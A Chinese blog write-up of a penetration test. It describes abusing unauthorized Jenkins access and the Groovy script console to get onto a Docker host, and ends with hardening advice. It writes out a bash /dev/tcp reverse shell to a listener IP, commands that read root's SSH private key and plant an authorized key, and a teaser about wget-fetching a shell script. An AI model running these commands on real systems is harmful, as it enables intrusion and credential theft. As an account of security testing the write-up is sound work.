Jenkins获取权限的过程



Jenkins存在未授权访问漏洞


Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功。

执行命令尝试反弹shell


在对话框中尝试反弹shell,本地NC监听中,发行不行,尝试ping回来,发现网络不通,随即希望正想shell

println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text

尝试正向shell


尝试绑定shell

首先确定系统有的命令和账号权限

println 'id'.execute().text
println 'whoami'.execute().text
println 'ls -l /usr/bin/'.execute().text

发现root权限,curl和wget都有,git也有(jenkins肯定有),尝试互联网访问是否可达

println 'curl -v https://www.baidu.com'.execute().text

开始下载正向绑定shell的脚本运行失败。

尝试上传自己的公钥

随即传上去自己的公钥,尝试ssh登录失败

println 'echo 公钥内容 >> /root/.ssh/authroized_keys'.execute().text

本地主机登录ssh失败

ssh -i 私钥 a.b.c.d

查看.ssh目录发现已有的私钥

经过大牛指点,继续尝试搜索主机

println 'ls /root/.ssh/'.execute().text
println 'cat /root/.ssh/id_rsa'.execute().text()

保存在本地私钥,尝试登录成功

ssh -i id_rsa a.b.c.d

Docker的干扰



登上去之后查看失败原因:


原来服务是Docker起的,我绑定的正向shell监听的端口也好,上传的自己的公钥也好都在docker里,而我尝试登录的是宿主机,所以一直有问题,而最后的成功,也是因为docker和宿主机使用了同一套公私钥

安全建议



  • 1、不要配置Jenkinis匿名登录(未登录状态)有任何权限包括读取权限也不行;

  • 2、不要使用弱口令;

  • 3、docker打包时候检查,宿主机环境也要检查,不使用没有key的秘钥,公私钥不要存放在一起,docker和宿主机不要使用同一套公私钥;

利用Jenkins未授权获取服务器权限--Docker还来干扰--一次渗透的经历的更多相关文章

  1. jenkins未授权访问漏洞

    jenkins未授权访问漏洞 一.漏洞描述 未授权访问管理控制台,可以通过脚本命令行执行系统命令.通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshe ...

  2. Jenkins未授权访问脚本执行漏洞

    Jenkins未授权访问脚本执行漏洞 步骤 首先找一个站点挂上一个反弹shell脚本,然后在脚本执行框里执行脚本进行下载到tmp目录: println "wget http://47.95. ...

  3. Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...

  4. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  5. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  6. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  7. 关于docker remote api未授权访问漏洞的学习与研究

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

  8. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  9. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

随机推荐

  1. SOAP消息头的处理

    SOAP消息头的处理 WebService学习总结(四)——调用第三方提供的webService服务 SOAP中 RPC/ENC 为啥被抛弃

  2. spark 源码阅读博客

    http://blog.csdn.net/oopsoom/article/details/38257749

  3. C++入门学习

    使用cout和cin,需要包括C++提供的输入输出库.#include <iostream>    标准输入输出头文件 <string>        using namesp ...

  4. 【玩转Golang】 通过组合嵌入实现代码复用

    应用开发中的一个常见情景,为了避免简单重复,需要在基类中实现共用代码,着同样有助于后期维护. 如果在以往的支持类继承的语言中,比如c++,Java,c#等,这很简单!可是go不支持继承,只能mixin ...

  5. 移动端网页使用flexible.js加入百度联盟广告样式不一致问题解决

    flexible.js是淘宝推出的一款移动端手机自适应的库,源码内容很简洁,当网页使用了该库之后,页面会在head中加入对应的页面响应式的meta标签. 当使用flexible.js的时候,引入百度联 ...

  6. 在Eclipse中查看Javadoc文档

    当我们需要查看JDK中类的API介绍时,通常采用的方式是直接查看离线文档或者某些网站提供的在线文档.如下图: 而本文档最终达到的效果是,不需要切换出eclipse,直接在eclipse中查看JDK的J ...

  7. Python的Beautiful Soup简单使用

    Beautiful Soup是python的一个库,最主要的功能是从网页抓取数据 Beautiful Soup提供一些简单的.python式的函数用来处理导航.搜索.修改分析树等功能 它是一个工具箱, ...

  8. JavaScript实现最简单的拖拽效果

    一.一些无关痛痒的唠叨 拖拽还是挺不错的一个页面效果,我个人认为,其生命力在于可以让用户自己做一些操作,所谓自定义.例如: ①浏览器标签顺序的拖拽切换 现在基本上所有的选项卡式的浏览器都有顺序拖拽切换 ...

  9. chrome二维码插件 – w3cways QR Code Generator

    最近研究了下Chrome插件的制作方法,制作了一个二维码插件. 安装方法 方法一:在Chrome应用商店中安装(推荐)点击安装(需FQ) 方法二:本地安装:下载安装包,解压得到w3cways_qrCo ...

  10. mysql初始化时报错bin/mysqld: error while loading shared libraries: libnuma.so.1: cannot open shared object file: No such file or directory的处理

    问题描述: 今天新安装了一个linux虚拟机,然后安装mysql 5.7.21,在进行初始化的时候,报错 bin/mysqld: error : cannot open shared object f ...